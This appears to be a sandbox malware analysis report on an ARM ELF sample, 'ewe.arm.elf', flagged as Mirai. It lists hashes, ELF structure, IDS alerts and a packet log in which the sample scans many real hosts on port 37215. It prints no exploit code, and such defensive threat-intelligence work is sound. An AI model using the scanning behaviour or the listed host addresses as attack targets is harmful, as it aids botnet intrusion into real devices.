112.144.112.102	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
64.206.118.102	unknown	United States	7029	WINDSTREAMUS	false
95.82.243.175	unknown	Russian Federation	12668	MIRALOGIC-ASRU	false
14.186.115.227	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
157.103.33.105	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
34.32.88.65	unknown	United States	2686	ATGS-MMD-ASUS	false
12.157.97.36	unknown	United States	7018	ATT-INTERNET4US	false
62.212.17.92	unknown	Italy	9026	ULI-MAINULIIT	false
95.193.27.119	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
85.145.219.109	unknown	Netherlands	50266	TMOBILE-THUISNL	false
88.243.182.66	unknown	Turkey	9121	TTNETTR	false
62.14.165.105	unknown	Spain	12479	UNI2-ASES	false
85.45.125.173	unknown	Italy	3269	ASN-IBSNAZIT	false
85.90.55.68	unknown	United Kingdom	39116	TELEHOUSEGB	false
195.213.74.86	unknown	Belgium	6871	PLUSNETUKInternetServiceProviderGB	false
36.98.183.114	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
94.104.120.123	unknown	Belgium	47377	ORANGE_BELGIUM_SAKPNBelgiumBusinessNVhasbeenacquired	false
85.2.39.222	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
157.78.133.45	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
197.86.54.140	unknown	South Africa	10474	OPTINETZA	false
85.158.231.131	unknown	Austria	8692	BRZAT	false
41.210.115.195	unknown	unknown	29614	GHANATEL-ASGH	false
77.109.182.71	unknown	Switzerland	13030	INIT7CH	false
139.147.68.8	unknown	United States	22198	LAFAYEUS	false
162.159.107.49	unknown	United States	13335	CLOUDFLARENETUS	false
62.1.242.88	unknown	Greece	1241	FORTHNET-GRForthnetEU	false
162.127.83.170	unknown	United States	11714	NETWORKNEBRASKAUS	false
157.255.17.211	unknown	China	136958	UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCN	false
88.180.232.166	unknown	France	12322	PROXADFR	false
94.72.179.91	unknown	Bulgaria	42735	MAXTELECOM-ASBG	false
94.87.6.232	unknown	Italy	3269	ASN-IBSNAZIT	false
62.92.203.123	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
94.225.132.63	unknown	Belgium	6848	TELENET-ASBE	false
159.134.126.187	unknown	Ireland	5466	EIRCOMInternetHouseIE	false
94.104.120.115	unknown	Belgium	47377	ORANGE_BELGIUM_SAKPNBelgiumBusinessNVhasbeenacquired	false
62.40.187.96	unknown	Austria	8339	KABSI-ASAT	false
94.6.4.193	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
95.8.187.77	unknown	Turkey	9121	TTNETTR	false
31.119.143.109	unknown	United Kingdom	12576	EELtdGB	false
94.130.40.205	unknown	Germany	24940	HETZNER-ASDE	false
31.234.6.32	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
62.144.231.124	unknown	Germany	12312	ECOTELDE	false
85.218.215.77	unknown	Denmark	197288	STOFANETDK	false
85.43.244.40	unknown	Italy	3269	ASN-IBSNAZIT	false
95.145.60.61	unknown	United Kingdom	12576	EELtdGB	false
31.34.40.185	unknown	France	5410	BOUYGTEL-ISPFR	false
62.137.142.215	unknown	United Kingdom	12337	NORIS-NETWORKITServiceProviderlocatedinNuernbergGerm	false
94.27.69.123	unknown	Ukraine	12530	GOLDENTELECOM-UKRAINEKyivstarPJSCUA	false
95.36.244.3	unknown	Netherlands	15670	BBNED-AS1NL	false
95.15.253.221	unknown	Turkey	9121	TTNETTR	false
85.144.229.239	unknown	Netherlands	50266	TMOBILE-THUISNL	false
62.74.105.54	unknown	Greece	3329	HOL-GRAthensGreeceGR	false
95.39.201.176	unknown	Spain	12357	COMUNITELSPAINES	false
197.16.172.161	unknown	Tunisia	37693	TUNISIANATN	false
209.241.155.108	unknown	United States	3356	LEVEL3US	false
85.66.185.74	unknown	Hungary	20845	DIGICABLEHU	false
41.230.97.128	unknown	Tunisia	37705	TOPNETTN	false
62.118.143.13	unknown	Russian Federation	62347	MTS_VNOVVelikiyNovgorodbranchRU	false
95.81.253.218	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
200.122.220.67	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
85.63.122.214	unknown	Spain	12479	UNI2-ASES	false
31.253.231.89	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
94.130.241.74	unknown	Germany	24940	HETZNER-ASDE	false
94.69.81.51	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
95.81.253.213	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
27.231.21.65	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
91.135.40.208	unknown	Norway	2116	ASN-CATCHCOMNO	false
140.198.91.218	unknown	United States	26783	MARICOPA-COUNTY-COMMUNITY-COLLEGE-DISTRICTUS	false
94.196.78.247	unknown	United Kingdom	206067	H3GUKGB	false
157.215.21.66	unknown	United States	4704	SANNETRakutenMobileIncJP	false
31.163.252.19	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
95.20.61.57	unknown	Spain	12479	UNI2-ASES	false
102.221.21.12	unknown	unknown	36926	CKL1-ASNKE	false
112.14.254.240	unknown	China	56041	CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
85.108.172.24	3cdz4j7tMm	Get hash	malicious	Mirai	Browse
85.108.172.24	UnHAnaAW.x86	Get hash	malicious	Mirai	Browse
77.141.84.185	m68k.elf	Get hash	malicious	Mirai	Browse
31.13.174.149	6p75HNZmhI	Get hash	malicious	Mirai	Browse
31.13.174.149	JnYh1STgG3	Get hash	malicious	Mirai	Browse
88.146.165.52	DEMONS.sh4.elf	Get hash	malicious	Unknown	Browse
88.146.165.52	ezdvTr2UnN	Get hash	malicious	Mirai	Browse
94.42.250.20	MYb7GhRJl7.elf	Get hash	malicious	Mirai	Browse
95.20.61.22	6gESQ4ja4n.elf	Get hash	malicious	Mirai	Browse
	iCXTbefpvO	Get hash	malicious	Mirai	Browse
	Ro8Lsl4vd5	Get hash	malicious	Mirai	Browse
	sora.x86	Get hash	malicious	Mirai	Browse
	1ceosZ3j0n	Get hash	malicious	Mirai	Browse
	fP1qaRX97P	Get hash	malicious	Mirai	Browse
95.226.168.236	jade.mips.elf	Get hash	malicious	Mirai	Browse
95.226.168.236	dXdP65yVxR.elf	Get hash	malicious	Mirai	Browse
85.89.121.150	sora.ppc.elf	Get hash	malicious	Mirai	Browse
219.249.234.179	arm5.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	x86_64.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	193.32.162.27-mips-2025-02-26T19_42_10.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	uYtea.arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	uYtea.arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	uYtea.x86_64.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	uYtea.x86_64.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	uYtea.arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	uYtea.arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	tftp.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RMNI-AS-APRakutenMobileNetworkIncJP	res.mpsl.elf	Get hash	malicious	Unknown	Browse	193.119.169.217
	res.arm5.elf	Get hash	malicious	Unknown	Browse	133.106.187.149
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	193.114.74.227
	nklarm5.elf	Get hash	malicious	Unknown	Browse	193.119.169.247
	nabarm7.elf	Get hash	malicious	Unknown	Browse	193.117.97.138
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	133.106.187.119
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	193.82.186.237
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	193.114.61.192
	spc.elf	Get hash	malicious	Unknown	Browse	133.106.227.247
	TRC.m68k.elf	Get hash	malicious	Mirai	Browse	133.106.187.135
TTNETTR	m68k.elf	Get hash	malicious	Unknown	Browse	78.168.208.207
	ppc.elf	Get hash	malicious	Unknown	Browse	78.180.81.244
	mpsl.elf	Get hash	malicious	Unknown	Browse	85.100.64.58
	res.mips.elf	Get hash	malicious	Unknown	Browse	88.253.1.236
	nabspc.elf	Get hash	malicious	Unknown	Browse	95.15.82.96
	nabarm5.elf	Get hash	malicious	Unknown	Browse	78.173.228.75
	nabarm.elf	Get hash	malicious	Unknown	Browse	78.188.203.110
	res.spc.elf	Get hash	malicious	Unknown	Browse	78.191.127.56
	m68k.elf	Get hash	malicious	Mirai	Browse	78.167.178.250
	mpsl.elf	Get hash	malicious	Mirai	Browse	85.109.17.193
LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	m68k.elf	Get hash	malicious	Unknown	Browse	89.72.17.24
	sh4.elf	Get hash	malicious	Unknown	Browse	88.152.205.101
	ppc.elf	Get hash	malicious	Unknown	Browse	88.152.205.101
	s8wz2CMKYZ.exe	Get hash	malicious	SystemBC	Browse	84.116.6.3
	5AXIAkY784.exe	Get hash	malicious	SystemBC	Browse	84.116.6.3
	5BADc9D4Ir.exe	Get hash	malicious	Amadey, SystemBC	Browse	84.116.6.3
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	5.148.233.194
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	80.98.97.137
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	83.64.99.34
	res.m68k.elf	Get hash	malicious	Unknown	Browse	77.58.6.32
IIP-NET-AS5429RU	jade.mips.elf	Get hash	malicious	Mirai	Browse	85.89.121.151
	jade.sh4.elf	Get hash	malicious	Mirai	Browse	85.89.121.171
	jade.arm.elf	Get hash	malicious	Mirai	Browse	85.89.121.188
	nabsh4.elf	Get hash	malicious	Unknown	Browse	195.178.210.188
	ewe.ppc.elf	Get hash	malicious	Mirai	Browse	85.89.121.159
	bot.arm7.elf	Get hash	malicious	Mirai	Browse	195.178.217.16
	jade.ppc.elf	Get hash	malicious	Mirai	Browse	85.89.121.197
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	195.178.201.166
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	85.89.121.150
	mpsl.elf	Get hash	malicious	Mirai	Browse	85.89.121.146

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.11491027642454
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	ewe.arm.elf
File size:	74'744 bytes
MD5:	625cbeb9d218691ba7273116cf71a8dc
SHA1:	565482dc2446490d0c4c46274ba12ce19e841cba
SHA256:	fa31079252a920fdff36e8dd0944fd8f700efeb7f2058d12351d51a894023f83
SHA512:	a3747addb14c7a81d8e5278866fcd6e4db743b447b204466be31df409385a9fcbe0f841e13a8232e59d3c86ea348f64cd0da83d8b25e7e24443a8e54c0d325a6
SSDEEP:	1536:fpXcKpBUlet3DBboJubLCNQpRTdeRkcahWMP354g5S9/e35DEFr:fpXcKLU1cRYRkvhT+gR3yF
TLSH:	67732896B8919A22C6D4137BFA6E41CD372163E8E2DF3207AD201F647BC681F0D67E45
File Content Preview:	.ELF...a..........(.........4...h"......4. ...(.....................\|...\|................ ... ... ..(...D...........Q.td..................................-...L."...2A..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	74344
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x10500	0x0	0x6	AX	16
.fini	PROGBITS	0x185b0	0x105b0	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x185c4	0x105c4	0x19b8	0x0	0x2	A	4
.ctors	PROGBITS	0x22000	0x12000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x22008	0x12008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x22014	0x12014	0x214	0x0	0x3	WA	4
.bss	NOBITS	0x22228	0x12228	0x31c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x12228	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x11f7c	0x11f7c	6.1414	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x12000	0x22000	0x22000	0x228	0x544	2.9859	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-27T07:08:36.054988+0100	2841377	ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)	1	192.168.2.14	56084	95.251.67.121	80	TCP
2025-02-27T07:08:37.636047+0100	2841377	ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)	1	192.168.2.14	50474	95.107.74.132	80	TCP
2025-02-27T07:08:39.234367+0100	2841377	ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)	1	192.168.2.14	33774	95.164.65.25	80	TCP
2025-02-27T07:08:41.056059+0100	2841377	ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)	1	192.168.2.14	35210	95.198.26.202	80	TCP
2025-02-27T07:08:41.441889+0100	2841377	ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)	1	192.168.2.14	44840	95.67.80.76	80	TCP
2025-02-27T07:08:46.471534+0100	2841377	ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)	1	192.168.2.14	45096	95.101.47.132	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 27, 2025 07:08:34.458349943 CET	28354	37215	192.168.2.14	197.207.18.102
Feb 27, 2025 07:08:34.458497047 CET	28354	37215	192.168.2.14	197.206.172.103
Feb 27, 2025 07:08:34.458522081 CET	28354	37215	192.168.2.14	197.157.36.169
Feb 27, 2025 07:08:34.458591938 CET	28354	37215	192.168.2.14	197.91.205.227
Feb 27, 2025 07:08:34.458600044 CET	28354	37215	192.168.2.14	197.149.32.102
Feb 27, 2025 07:08:34.458668947 CET	28354	37215	192.168.2.14	197.86.108.181
Feb 27, 2025 07:08:34.458695889 CET	28354	37215	192.168.2.14	197.135.26.133
Feb 27, 2025 07:08:34.458762884 CET	28354	37215	192.168.2.14	197.131.88.25
Feb 27, 2025 07:08:34.458806992 CET	28354	37215	192.168.2.14	197.65.23.177
Feb 27, 2025 07:08:34.458828926 CET	28354	37215	192.168.2.14	197.38.11.254
Feb 27, 2025 07:08:34.458863020 CET	28354	37215	192.168.2.14	197.122.201.4
Feb 27, 2025 07:08:34.458918095 CET	28354	37215	192.168.2.14	197.113.68.20
Feb 27, 2025 07:08:34.458925009 CET	28354	37215	192.168.2.14	197.155.158.69
Feb 27, 2025 07:08:34.458954096 CET	28354	37215	192.168.2.14	197.200.99.189
Feb 27, 2025 07:08:34.458995104 CET	28354	37215	192.168.2.14	197.188.78.180
Feb 27, 2025 07:08:34.459032059 CET	28354	37215	192.168.2.14	197.186.179.244
Feb 27, 2025 07:08:34.459038973 CET	28354	37215	192.168.2.14	197.0.226.251
Feb 27, 2025 07:08:34.459075928 CET	28354	37215	192.168.2.14	197.14.207.80
Feb 27, 2025 07:08:34.459134102 CET	28354	37215	192.168.2.14	197.156.182.204
Feb 27, 2025 07:08:34.459167004 CET	28354	37215	192.168.2.14	197.183.247.234
Feb 27, 2025 07:08:34.459203959 CET	28354	37215	192.168.2.14	197.210.45.80
Feb 27, 2025 07:08:34.459255934 CET	28354	37215	192.168.2.14	197.185.165.210
Feb 27, 2025 07:08:34.459284067 CET	28354	37215	192.168.2.14	197.198.185.216
Feb 27, 2025 07:08:34.459331989 CET	28354	37215	192.168.2.14	197.111.241.92
Feb 27, 2025 07:08:34.459362030 CET	28354	37215	192.168.2.14	197.188.15.108
Feb 27, 2025 07:08:34.459393978 CET	28354	37215	192.168.2.14	197.73.50.27
Feb 27, 2025 07:08:34.459419012 CET	28354	37215	192.168.2.14	197.13.197.215
Feb 27, 2025 07:08:34.459441900 CET	28354	37215	192.168.2.14	197.66.4.227
Feb 27, 2025 07:08:34.459462881 CET	28354	37215	192.168.2.14	197.104.194.31
Feb 27, 2025 07:08:34.459496975 CET	28354	37215	192.168.2.14	197.220.17.36
Feb 27, 2025 07:08:34.459532976 CET	28354	37215	192.168.2.14	197.87.123.131
Feb 27, 2025 07:08:34.459551096 CET	28354	37215	192.168.2.14	197.213.37.124
Feb 27, 2025 07:08:34.459584951 CET	28354	37215	192.168.2.14	197.193.133.57
Feb 27, 2025 07:08:34.459595919 CET	28354	37215	192.168.2.14	197.155.7.67
Feb 27, 2025 07:08:34.459645987 CET	28354	37215	192.168.2.14	197.233.146.207
Feb 27, 2025 07:08:34.459671974 CET	28354	37215	192.168.2.14	197.196.114.114
Feb 27, 2025 07:08:34.459712982 CET	28354	37215	192.168.2.14	197.144.83.131
Feb 27, 2025 07:08:34.459742069 CET	28354	37215	192.168.2.14	197.114.167.203
Feb 27, 2025 07:08:34.459779978 CET	28354	37215	192.168.2.14	197.35.40.175
Feb 27, 2025 07:08:34.459817886 CET	28354	37215	192.168.2.14	197.154.151.222
Feb 27, 2025 07:08:34.459860086 CET	28354	37215	192.168.2.14	197.247.202.137
Feb 27, 2025 07:08:34.459881067 CET	28354	37215	192.168.2.14	197.175.2.76
Feb 27, 2025 07:08:34.459918976 CET	28354	37215	192.168.2.14	197.153.124.75
Feb 27, 2025 07:08:34.459939957 CET	28354	37215	192.168.2.14	197.121.215.42
Feb 27, 2025 07:08:34.459959030 CET	28354	37215	192.168.2.14	197.180.59.182
Feb 27, 2025 07:08:34.459983110 CET	28354	37215	192.168.2.14	197.22.1.231
Feb 27, 2025 07:08:34.460028887 CET	28354	37215	192.168.2.14	197.169.234.129
Feb 27, 2025 07:08:34.460043907 CET	28354	37215	192.168.2.14	197.251.54.242
Feb 27, 2025 07:08:34.460078955 CET	28354	37215	192.168.2.14	197.24.182.85
Feb 27, 2025 07:08:34.460114956 CET	28354	37215	192.168.2.14	197.71.137.102
Feb 27, 2025 07:08:34.460199118 CET	28354	37215	192.168.2.14	197.135.196.234
Feb 27, 2025 07:08:34.460232973 CET	28354	37215	192.168.2.14	197.8.223.43
Feb 27, 2025 07:08:34.460262060 CET	28354	37215	192.168.2.14	197.132.160.82
Feb 27, 2025 07:08:34.460300922 CET	28354	37215	192.168.2.14	197.111.112.210
Feb 27, 2025 07:08:34.460366964 CET	28354	37215	192.168.2.14	197.94.193.85
Feb 27, 2025 07:08:34.460417032 CET	28354	37215	192.168.2.14	197.255.17.129
Feb 27, 2025 07:08:34.460465908 CET	28354	37215	192.168.2.14	197.20.49.166
Feb 27, 2025 07:08:34.460494995 CET	28354	37215	192.168.2.14	197.243.151.67
Feb 27, 2025 07:08:34.460508108 CET	28354	37215	192.168.2.14	197.240.150.89
Feb 27, 2025 07:08:34.460541964 CET	28354	37215	192.168.2.14	197.71.61.75
Feb 27, 2025 07:08:34.460566998 CET	28354	37215	192.168.2.14	197.182.79.140
Feb 27, 2025 07:08:34.460604906 CET	28354	37215	192.168.2.14	197.111.198.8
Feb 27, 2025 07:08:34.460619926 CET	28354	37215	192.168.2.14	197.133.242.245
Feb 27, 2025 07:08:34.460655928 CET	28354	37215	192.168.2.14	197.184.47.64
Feb 27, 2025 07:08:34.460688114 CET	28354	37215	192.168.2.14	197.225.220.135
Feb 27, 2025 07:08:34.460736036 CET	28354	37215	192.168.2.14	197.174.124.163
Feb 27, 2025 07:08:34.460777998 CET	28354	37215	192.168.2.14	197.3.230.4
Feb 27, 2025 07:08:34.460803032 CET	28354	37215	192.168.2.14	197.233.12.90
Feb 27, 2025 07:08:34.460820913 CET	28354	37215	192.168.2.14	197.20.52.21
Feb 27, 2025 07:08:34.460856915 CET	28354	37215	192.168.2.14	197.209.105.119
Feb 27, 2025 07:08:34.460896969 CET	28354	37215	192.168.2.14	197.234.239.154
Feb 27, 2025 07:08:34.460903883 CET	28354	37215	192.168.2.14	197.112.195.73
Feb 27, 2025 07:08:34.460930109 CET	28354	37215	192.168.2.14	197.151.244.255
Feb 27, 2025 07:08:34.461003065 CET	28354	37215	192.168.2.14	197.23.162.18
Feb 27, 2025 07:08:34.461024046 CET	28354	37215	192.168.2.14	197.81.122.47
Feb 27, 2025 07:08:34.461096048 CET	28354	37215	192.168.2.14	197.196.191.228
Feb 27, 2025 07:08:34.461179972 CET	28354	37215	192.168.2.14	197.158.163.249
Feb 27, 2025 07:08:34.461225986 CET	28354	37215	192.168.2.14	197.175.62.249
Feb 27, 2025 07:08:34.461241961 CET	28354	37215	192.168.2.14	197.201.172.214
Feb 27, 2025 07:08:34.461318016 CET	28354	37215	192.168.2.14	197.43.149.191
Feb 27, 2025 07:08:34.461353064 CET	28354	37215	192.168.2.14	197.0.59.184
Feb 27, 2025 07:08:34.461365938 CET	28354	37215	192.168.2.14	197.55.168.239
Feb 27, 2025 07:08:34.461445093 CET	28354	37215	192.168.2.14	197.222.249.18
Feb 27, 2025 07:08:34.461461067 CET	28354	37215	192.168.2.14	197.9.163.194
Feb 27, 2025 07:08:34.461491108 CET	28354	37215	192.168.2.14	197.99.235.121
Feb 27, 2025 07:08:34.461523056 CET	28354	37215	192.168.2.14	197.1.223.53
Feb 27, 2025 07:08:34.461564064 CET	28354	37215	192.168.2.14	197.208.163.89
Feb 27, 2025 07:08:34.461602926 CET	28354	37215	192.168.2.14	197.123.184.37
Feb 27, 2025 07:08:34.461633921 CET	28354	37215	192.168.2.14	197.143.63.188
Feb 27, 2025 07:08:34.461707115 CET	28354	37215	192.168.2.14	197.177.199.246
Feb 27, 2025 07:08:34.461751938 CET	28354	37215	192.168.2.14	197.25.106.16
Feb 27, 2025 07:08:34.461774111 CET	28354	37215	192.168.2.14	197.171.161.89
Feb 27, 2025 07:08:34.461812973 CET	28354	37215	192.168.2.14	197.27.193.249
Feb 27, 2025 07:08:34.461848021 CET	28354	37215	192.168.2.14	197.143.78.49
Feb 27, 2025 07:08:34.461879969 CET	28354	37215	192.168.2.14	197.79.152.119
Feb 27, 2025 07:08:34.461906910 CET	28354	37215	192.168.2.14	197.234.59.88
Feb 27, 2025 07:08:34.461952925 CET	28354	37215	192.168.2.14	197.55.116.240
Feb 27, 2025 07:08:34.461978912 CET	28354	37215	192.168.2.14	197.33.78.29
Feb 27, 2025 07:08:34.462002993 CET	28354	37215	192.168.2.14	197.164.124.28
Feb 27, 2025 07:08:34.462038994 CET	28354	37215	192.168.2.14	197.178.38.227
Feb 27, 2025 07:08:34.462064981 CET	28354	37215	192.168.2.14	197.3.17.71
Feb 27, 2025 07:08:34.462116003 CET	28354	37215	192.168.2.14	197.85.122.173
Feb 27, 2025 07:08:34.462137938 CET	28354	37215	192.168.2.14	197.13.238.119
Feb 27, 2025 07:08:34.462165117 CET	28354	37215	192.168.2.14	197.73.229.142
Feb 27, 2025 07:08:34.462181091 CET	28354	37215	192.168.2.14	197.171.27.158
Feb 27, 2025 07:08:34.462202072 CET	28354	37215	192.168.2.14	197.185.46.150
Feb 27, 2025 07:08:34.463366032 CET	28354	37215	192.168.2.14	197.148.165.145
Feb 27, 2025 07:08:34.463367939 CET	39290	55555	192.168.2.14	139.59.126.134
Feb 27, 2025 07:08:34.463404894 CET	28354	37215	192.168.2.14	197.53.23.73
Feb 27, 2025 07:08:34.463421106 CET	28354	37215	192.168.2.14	197.155.4.33
Feb 27, 2025 07:08:34.463535070 CET	28354	37215	192.168.2.14	197.65.95.245
Feb 27, 2025 07:08:34.463560104 CET	28354	37215	192.168.2.14	197.74.14.186
Feb 27, 2025 07:08:34.463624954 CET	28354	37215	192.168.2.14	197.52.187.243
Feb 27, 2025 07:08:34.463658094 CET	28354	37215	192.168.2.14	197.92.31.196
Feb 27, 2025 07:08:34.463677883 CET	28354	37215	192.168.2.14	197.193.192.94
Feb 27, 2025 07:08:34.463701963 CET	28354	37215	192.168.2.14	197.164.233.79
Feb 27, 2025 07:08:34.463715076 CET	37215	28354	197.207.18.102	192.168.2.14
Feb 27, 2025 07:08:34.463718891 CET	28354	37215	192.168.2.14	197.217.182.195
Feb 27, 2025 07:08:34.463741064 CET	37215	28354	197.157.36.169	192.168.2.14
Feb 27, 2025 07:08:34.463752985 CET	37215	28354	197.206.172.103	192.168.2.14
Feb 27, 2025 07:08:34.463757992 CET	28354	37215	192.168.2.14	197.219.121.124
Feb 27, 2025 07:08:34.463762999 CET	28354	37215	192.168.2.14	197.207.18.102
Feb 27, 2025 07:08:34.463766098 CET	28354	37215	192.168.2.14	197.157.36.169
Feb 27, 2025 07:08:34.463785887 CET	37215	28354	197.149.32.102	192.168.2.14
Feb 27, 2025 07:08:34.463798046 CET	37215	28354	197.91.205.227	192.168.2.14
Feb 27, 2025 07:08:34.463805914 CET	28354	37215	192.168.2.14	197.206.172.103
Feb 27, 2025 07:08:34.463809967 CET	37215	28354	197.86.108.181	192.168.2.14
Feb 27, 2025 07:08:34.463810921 CET	28354	37215	192.168.2.14	197.80.71.250
Feb 27, 2025 07:08:34.463829994 CET	37215	28354	197.135.26.133	192.168.2.14
Feb 27, 2025 07:08:34.463829994 CET	28354	37215	192.168.2.14	197.149.32.102
Feb 27, 2025 07:08:34.463833094 CET	28354	37215	192.168.2.14	197.91.205.227
Feb 27, 2025 07:08:34.463839054 CET	28354	37215	192.168.2.14	197.86.108.181
Feb 27, 2025 07:08:34.463843107 CET	37215	28354	197.131.88.25	192.168.2.14
Feb 27, 2025 07:08:34.463856936 CET	37215	28354	197.65.23.177	192.168.2.14
Feb 27, 2025 07:08:34.463869095 CET	28354	37215	192.168.2.14	197.135.26.133
Feb 27, 2025 07:08:34.463880062 CET	28354	37215	192.168.2.14	197.131.88.25
Feb 27, 2025 07:08:34.463903904 CET	37215	28354	197.38.11.254	192.168.2.14
Feb 27, 2025 07:08:34.463910103 CET	28354	37215	192.168.2.14	197.65.23.177
Feb 27, 2025 07:08:34.463946104 CET	28354	37215	192.168.2.14	197.38.11.254
Feb 27, 2025 07:08:34.464459896 CET	28354	37215	192.168.2.14	197.75.126.211
Feb 27, 2025 07:08:34.464494944 CET	28354	37215	192.168.2.14	197.181.11.136
Feb 27, 2025 07:08:34.464577913 CET	28354	37215	192.168.2.14	197.223.6.168
Feb 27, 2025 07:08:34.464632988 CET	28354	37215	192.168.2.14	197.192.177.103
Feb 27, 2025 07:08:34.464638948 CET	28354	37215	192.168.2.14	197.50.15.95
Feb 27, 2025 07:08:34.464668036 CET	28354	37215	192.168.2.14	197.65.157.21
Feb 27, 2025 07:08:34.464701891 CET	28354	37215	192.168.2.14	197.156.179.143
Feb 27, 2025 07:08:34.464761019 CET	28354	37215	192.168.2.14	197.198.53.106
Feb 27, 2025 07:08:34.464761019 CET	28354	37215	192.168.2.14	197.240.181.106
Feb 27, 2025 07:08:34.464798927 CET	28354	37215	192.168.2.14	197.93.195.8
Feb 27, 2025 07:08:34.464817047 CET	28354	37215	192.168.2.14	197.59.27.55
Feb 27, 2025 07:08:34.464817047 CET	28354	37215	192.168.2.14	197.226.163.209
Feb 27, 2025 07:08:34.464855909 CET	28354	37215	192.168.2.14	197.113.98.176
Feb 27, 2025 07:08:34.464881897 CET	28354	37215	192.168.2.14	197.22.68.245
Feb 27, 2025 07:08:34.465615988 CET	28354	37215	192.168.2.14	197.205.58.231
Feb 27, 2025 07:08:34.465704918 CET	28354	37215	192.168.2.14	197.239.12.144
Feb 27, 2025 07:08:34.465709925 CET	28354	37215	192.168.2.14	197.27.155.122
Feb 27, 2025 07:08:34.465718985 CET	28354	37215	192.168.2.14	197.142.198.174
Feb 27, 2025 07:08:34.465750933 CET	28354	37215	192.168.2.14	197.64.113.78
Feb 27, 2025 07:08:34.465760946 CET	28354	37215	192.168.2.14	197.68.129.203
Feb 27, 2025 07:08:34.465775013 CET	28354	37215	192.168.2.14	197.3.100.241
Feb 27, 2025 07:08:34.465817928 CET	28354	37215	192.168.2.14	197.170.100.209
Feb 27, 2025 07:08:34.465872049 CET	28354	37215	192.168.2.14	197.51.100.109
Feb 27, 2025 07:08:34.465903044 CET	28354	37215	192.168.2.14	197.131.187.227
Feb 27, 2025 07:08:34.465976000 CET	28354	37215	192.168.2.14	197.146.34.24
Feb 27, 2025 07:08:34.465976000 CET	28354	37215	192.168.2.14	197.162.183.54
Feb 27, 2025 07:08:34.465979099 CET	28354	37215	192.168.2.14	197.84.120.208
Feb 27, 2025 07:08:34.466005087 CET	28354	37215	192.168.2.14	197.97.147.87
